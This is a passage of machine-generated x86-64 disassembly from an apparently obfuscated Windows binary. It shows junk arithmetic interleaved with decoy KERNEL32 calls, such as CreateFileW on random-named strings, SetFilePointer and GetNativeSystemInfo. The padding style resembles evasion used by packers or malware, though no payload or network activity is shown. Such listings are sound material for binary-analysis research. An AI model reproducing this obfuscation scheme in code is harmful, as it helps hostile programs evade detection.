sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e30], eax
movzx ecx, word [rsp + 0x2b70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2958], ax
mov rax, qword [0x14028ed28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14028ed60]
mov byte [rcx], al
mov eax, dword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0xa7a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dd8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.1KFIihNgQRF_teo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14b70], rax
lea rax, [rsp + 0xa720]
mov qword [rsp + 0x14b78], rax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [0x14028277c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa85c], eax
mov eax, dword [rsp + 0x8df4]
mov dword [rsp + 0xaa08], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2db4]
add eax, ecx
mov word [rsp + 0x2b64], ax
mov rax, qword [rsp + 0x149c8]
movzx eax, byte [rax]
mov byte [rsp + 0x6ef], al
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6e7]
xor eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x143c8]
movsx eax, word [rax]
mov rcx, qword [0x14028ed90]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2da4], ax
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4a0]
or ecx, eax
mov eax, ecx
mov dword [0x1402827e0], eax
mov eax, dword [rsp + 0xa6d4]
mov rcx, qword [rsp + 0x149c0]
mov qword [rsp + 0x14b80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14b80]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7610], eax
movzx eax, byte [0x140281e1b]
mov rcx, qword [rsp + 0x14480]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x665], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov word [rsp + 0x2e30], ax
mov eax, dword [rsp + 0x8c08]
mov ecx, dword [rsp + 0x91bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
mov rax, qword [0x14028ee38]
mov rcx, qword [rsp + 0x14730]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9dd8], eax
mov eax, dword [rsp + 0xa458]
mov dword [rsp + 0xaa0c], eax
mov rax, qword [rsp + 0x144e0]
mov rcx, qword [0x14028ee90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa740], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x1f5], al
lea rdx, [rsp + 0x233c0]
mov rcx, qword [rsp + 0x149e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa5e8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.57tZIfczOctyidmBAd81Q9OhKAbL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14b88], rax
movzx eax, word [rsp + 0x2dfc]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402826a4], ax
mov eax, dword [rsp + 0xa8b0]
mov ecx, dword [0x1402827cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6ec], eax
mov rax, qword [rsp + 0x14a10]
mov rcx, qword [rsp + 0x14b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa83c], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov dword [rsp + 0xaa10], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x148e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa458]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x147c0]
mov eax, dword [rax]
mov dword [rsp + 0xaa14], eax
lea rdx, [rsp + 0xaa18]
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa7e0], eax
movsx eax, byte [rsp + 0x64c]
movsx ecx, byte [rsp + 0x642]
sub eax, ecx
mov byte [rsp + 0x66d], al
mov rax, qword [rsp + 0x14a98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c60]
xor eax, ecx
mov word [rsp + 0x2da4], ax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x302]
or eax, ecx
mov byte [rsp + 0x331], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x623c
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa760], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b20]
shl eax, cl
mov word [0x140282724], ax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e40]
shr eax, cl
mov dword [rsp + 0xa7f8], eax
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
mov dword [rsp + 0xaa1c], eax
movzx eax, byte [rsp + 0x6d6]
mov rcx, qword [rsp + 0x14278]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x25b], al
movzx eax, word [rsp + 0x2b30]
mov word [rsp + 0x2e34], ax
mov rax, qword [rsp + 0x14288]
mov ecx, dword [rsp + 0xa660]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8348], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [0x14028ecc8]
mov ecx, dword [rsp + 0xa588]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8920], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov dword [rsp + 0xaa20], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14640]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa70c], eax
movzx eax, word [rsp + 0x2dec]
movzx ecx, word [rsp + 0x2188]
sub eax, ecx
mov word [0x1402827e4], ax
movzx eax, byte [rsp + 0x68b]
movzx ecx, byte [rsp + 0x331]
add eax, ecx
mov byte [rsp + 0x1fc], al
mov eax, dword [rsp + 0x6d88]
mov ecx, dword [0x14028edc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f54], eax
mov eax, dword [rsp + 0x9108]
mov ecx, dword [rsp + 0xaa0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa778], eax
movzx eax, word [rsp + 0x2d20]
mov word [rsp + 0x2e38], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66b]
sub eax, ecx
mov byte [rsp + 0x66d], al
movzx eax, byte [rsp + 0x491]
mov byte [rsp + 0x6f0], al
movzx eax, word [rsp + 0x2d64]
movzx ecx, word [rsp + 0x2cf4]
or eax, ecx
mov word [rsp + 0x2ba4], ax
mov eax, dword [rsp + 0x7b28]
movzx ecx, al
mov eax, dword [rsp + 0x70cc]
shr eax, cl
mov dword [rsp + 0x8be0], eax
lea rcx, [rsp + 0x22668]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xa64c]
mov qword [0x14028ec98], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov eax, dword [rsp + 0xa8e0]
mov ecx, dword [rsp + 0xa478]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9018], eax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14028ee58]
shl eax, cl
mov dword [rsp + 0xa524], eax
mov eax, dword [rsp + 0x89e4]
mov dword [rsp + 0xaa24], eax
movzx eax, byte [rsp + 0x648]
movzx ecx, byte [rsp + 0x6bc]
sub eax, ecx
mov byte [rsp + 0x636], al
movzx eax, word [rsp + 0x2cb4]
mov word [rsp + 0x2e3c], ax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x144d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x95c8], eax
lea rcx, [rsp + 0x21a90]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0xa72c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x66b8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9d8], eax
lea rax, [rsp + 0xa98c]
mov qword [rsp + 0x14b90], rax
mov eax, dword [rsp + 0xa578]
mov ecx, dword [rsp + 0x94dc]
add ecx, eax
mov eax, ecx
mov dword [0x140282790], eax
movzx eax, byte [rsp + 0x6ab]
movzx ecx, byte [0x140281e1b]
add eax, ecx
mov byte [rsp + 0x645], al
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d7c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa324], eax
mov rax, qword [rsp + 0x145f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov byte [rsp + 0x62], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x2c48]
movsx ecx, word [rsp + 0x2df0]
add eax, ecx
mov rcx, qword [rsp + 0x14448]
mov word [rcx], ax
mov eax, dword [rsp + 0xa3bc]
mov dword [rsp + 0xaa28], eax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x141e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14630]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x670]
mov byte [rsp + 0x6f1], al
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x144b0]
mov word [rcx], ax
mov eax, dword [rsp + 0xa3bc]
mov dword [0x14028ec94], eax
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
mov rcx, qword [0x14028ecc0]
mov qword [rsp + 0x14b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14b98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa648], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa960], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x763c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9644], eax
mov eax, dword [0x140282748]
movzx ecx, al
mov eax, dword [rsp + 0x66b8]
shr eax, cl
mov dword [rsp + 0xa8c4], eax
movzx eax, byte [rsp + 0x624]
mov byte [rsp + 0x6f2], al
movzx eax, word [rsp + 0x2340]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d50], ax
mov rax, qword [rsp + 0x149a8]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa434], eax
mov eax, dword [rsp + 0xa2cc]
mov dword [rsp + 0xaa2c], eax
mov eax, dword [rsp + 0x8598]
mov ecx, dword [rsp + 0xa474]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14930]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa02c]
and ecx, eax
mov eax, ecx
mov dword [0x140282714], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa3b0], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov dword [rsp + 0xaa30], eax
mov rax, qword [rsp + 0x14b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2d44], ax
movsx eax, byte [0x140281ddb]
movsx ecx, byte [rsp + 0x35f]
sub eax, ecx
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x6ec]
movzx ecx, byte [rsp + 0x6f2]
add eax, ecx
mov byte [rsp + 0x2cd], al
movzx eax, word [rsp + 0x2d24]
movzx ecx, word [0x14028eca0]
sub eax, ecx
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0x14a70]
mov eax, dword [rax]
mov dword [rsp + 0xaa34], eax
mov rax, qword [rsp + 0x14b78]
mov ecx, dword [rsp + 0xa608]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov word [rsp + 0x2e40], ax
movzx eax, byte [0x14028ee00]
mov rcx, qword [rsp + 0x149c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281e4a], al
mov rax, qword [rsp + 0x14560]
mov rcx, qword [rsp + 0x14608]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8598], eax
mov rax, qword [rsp + 0x149a8]
mov ecx, dword [rsp + 0xa554]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147c0]
mov ecx, dword [rsp + 0xa464]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8e1c], eax
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x14238]
mov rcx, qword [0x14028ee70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa518], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov word [rsp + 0x2e44], ax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14698]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x37a], al
mov rax, qword [0x14028ec98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa898]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c08], eax
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
mov dword [rsp + 0xaa38], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x6a2]
movsx ecx, byte [rsp + 0x6c8]
shl eax, cl
mov byte [0x140281df7], al
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
movsx ecx, word [0x1402826b8]
and eax, ecx
mov word [rsp + 0x22d4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa9f8], eax
movzx eax, word [rsp + 0x2680]
movzx ecx, word [rsp + 0x1cc0]
add eax, ecx
mov word [rsp + 0x194c], ax
movzx eax, byte [rsp + 0x68f]
mov rcx, qword [rsp + 0x149e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6ea], al
mov rax, qword [rsp + 0x14840]
mov eax, dword [rax]
mov ecx, dword [0x14028edd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
mov dword [rsp + 0xaa3c], eax
mov rax, qword [0x14028ecc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f7c], eax
mov rax, qword [rsp + 0x147e8]
mov eax, dword [rax]
mov dword [rsp + 0xaa40], eax
mov rax, qword [rsp + 0x148f8]
mov rcx, qword [rsp + 0x14768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa70c], eax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
movzx ecx, byte [0x140281dcb]
sub eax, ecx
mov byte [rsp + 0x224], al
movzx eax, word [rsp + 0x1c00]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402827e8], ax
mov eax, dword [rsp + 0x66b8]
mov ecx, dword [rsp + 0xa3e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b10]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x14518]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov rcx, qword [0x14028ed40]
mov qword [rsp + 0x14ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ba0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0xaa30]
mov dword [rsp + 0xaa44], eax
mov eax, dword [rsp + 0xa88c]
movzx ecx, al
mov eax, dword [rsp + 0xaa1c]
shl eax, cl
mov dword [rsp + 0xaa00], eax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov word [rsp + 0x2e48], ax
movzx eax, byte [rsp + 0x6aa]
movzx ecx, byte [rsp + 0x631]
xor eax, ecx
mov byte [rsp + 0x6bb], al
movsx eax, byte [rsp + 0x64a]
movsx ecx, byte [rsp + 0x658]
or eax, ecx
mov byte [rsp + 0x680], al
mov rax, qword [0x14028ede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14a98]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1af8], ax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0xa3e0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402826a8], eax
mov eax, dword [rsp + 0xa618]
mov ecx, dword [rsp + 0xa480]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3b8], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov byte [rsp + 0x6f3], al
movzx eax, word [rsp + 0x2e3c]
movzx ecx, word [rsp + 0x2c9c]
sub eax, ecx
mov word [rsp + 0x2a4c], ax
lea rcx, [rsp + 0x22608]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xa6d4]
mov ecx, dword [rsp + 0xa6f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa66c], eax
lea rax, [rsp + 0xa6f4]
mov qword [rsp + 0x14ba8], rax
mov rax, qword [rsp + 0x144d8]
mov rcx, qword [rsp + 0x14ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa534], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov dword [rsp + 0xaa48], eax
mov rax, qword [rsp + 0x14b40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x644]
add eax, ecx
mov byte [rsp + 0x677], al
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402827b4], ax
mov rax, qword [0x14028ee10]
mov eax, dword [rax]
mov dword [rsp + 0xaa4c], eax
mov rax, qword [rsp + 0x144e0]
mov rcx, qword [rsp + 0x149a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x143d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14970]
mov rcx, qword [rsp + 0x14490]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8b98], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14ab8]
mov qword [rsp + 0x14bb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14bb0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7dbc], eax
mov eax, dword [rsp + 0xa940]
mov rcx, qword [rsp + 0x14a10]
mov qword [rsp + 0x14bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14bb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x82f8], eax
lea rax, [0x140281e07]
mov qword [rsp + 0x14bc0], rax
movsx eax, word [rsp + 0x2c54]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d68], ax
mov dword [rsp + 0x24a10], 0x114
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x149e0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x69d], al
movzx eax, word [rsp + 0x2340]
mov word [0x14028ec90], ax
mov eax, dword [rsp + 0xa928]
mov dword [rsp + 0xaa50], eax
mov rax, qword [rsp + 0x144a8]
mov ecx, dword [rsp + 0xa988]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6684], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8c51
mov rcx, qword [rsp + 0x142a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa89c], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x6f4], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x22a8], ax
lea rcx, [rsp + 0x225a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14858]
mov rcx, qword [rsp + 0x14898]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa720], eax
mov rax, qword [rsp + 0x14180]
mov ecx, dword [rsp + 0xa518]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99bc], eax
mov rax, qword [rsp + 0x143d8]
mov ecx, dword [rsp + 0xa3d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7790], eax
mov eax, dword [rsp + 0xaa10]
mov dword [rsp + 0xaa54], eax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281de7], al
movzx eax, word [rsp + 0x2d14]
movzx ecx, word [rsp + 0x2d28]
and eax, ecx
mov word [rsp + 0x2be4], ax
mov eax, dword [0x14028edc4]
mov ecx, dword [rsp + 0xa684]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6938], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa964], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.RruDFT00i1TFBXh_fIQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14bc8], rax
mov eax, dword [rsp + 0xa2cc]
mov dword [rsp + 0xaa58], eax
movsx eax, byte [rsp + 0x63e]
movsx ecx, byte [rsp + 0x6ac]
sub eax, ecx
mov byte [rsp + 0x18f], al
movsx eax, word [rsp + 0x273c]
movsx ecx, word [0x140282694]
add eax, ecx
mov word [rsp + 0x14f4], ax
movzx eax, word [rsp + 0x1590]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d14], ax
movzx eax, byte [rsp + 0x69f]
mov byte [rsp + 0x6f5], al
mov rax, qword [rsp + 0x14a18]
mov rcx, qword [rsp + 0x14440]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa8b4], eax
lea rax, [rsp + 0xa4d0]
mov qword [0x14028ec88], rax
mov rax, qword [rsp + 0x14420]
mov rcx, qword [rsp + 0x145d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6f08], eax
mov eax, dword [rsp + 0x6998]
mov dword [rsp + 0xaa5c], eax
mov eax, dword [rsp + 0xa9d4]
movzx ecx, al
mov eax, dword [rsp + 0xaa40]
shl eax, cl
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d7c]
and eax, ecx
mov word [rsp + 0x1c24], ax
movzx eax, byte [0x140281e06]
mov rcx, qword [rsp + 0x143f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x659], al
mov rax, qword [rsp + 0x146c0]
mov ecx, dword [rsp + 0x73f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa900], eax
lea rax, [rsp + 0x8920]
mov qword [rsp + 0x14bd0], rax
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x141f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14720]
mov dword [rcx], eax
lea rcx, [rsp + 0x21b08]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x14738]
mov ecx, dword [rsp + 0x7620]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402827ec], eax
mov rax, qword [0x14028ed18]
movzx eax, byte [rax]
mov byte [rsp + 0x6f6], al
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa5e8], eax
movzx eax, word [rsp + 0x1e20]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x26c8], ax
movsx eax, word [rsp + 0x2d44]
mov rcx, qword [rsp + 0x14648]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dcc], ax
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x6f7], al
lea rcx, [rsp + 0x24a10]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xaa60], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14440]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa90c], eax
mov eax, dword [rsp + 0xa558]
mov dword [rsp + 0xaa64], eax
movzx eax, word [rsp + 0x2a0c]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14b58]
mov word [rcx], ax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2bb]
xor eax, ecx
mov byte [rsp + 0x550], al
mov eax, dword [rsp + 0x8c4c]
mov rcx, qword [rsp + 0x14618]
mov qword [rsp + 0x14bd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14bd8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402826a8], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [0x1402827ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa868], eax
mov rax, qword [rsp + 0x149a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa3a4]
sar eax, cl
mov dword [rsp + 0xa820], eax
lea rax, [rsp + 0x8f10]
mov qword [rsp + 0x14be0], rax
movzx eax, word [0x1402827b0]
movzx ecx, word [rsp + 0x2ce8]
sub eax, ecx
mov word [rsp + 0x2d40], ax
movzx eax, byte [rsp + 0x668]
mov byte [rsp + 0x6f8], al
mov rax, qword [rsp + 0x14348]
mov rcx, qword [rsp + 0x14490]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f50], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0x147a0]
mov rcx, qword [rsp + 0x14438]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa77c], eax
lea rax, [rsp + 0xaa1c]
mov qword [rsp + 0x14be8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14128], rax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa718]
add ecx, eax
mov eax, ecx
mov dword [0x1402827f0], eax
lea rcx, [rsp + 0x22668]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
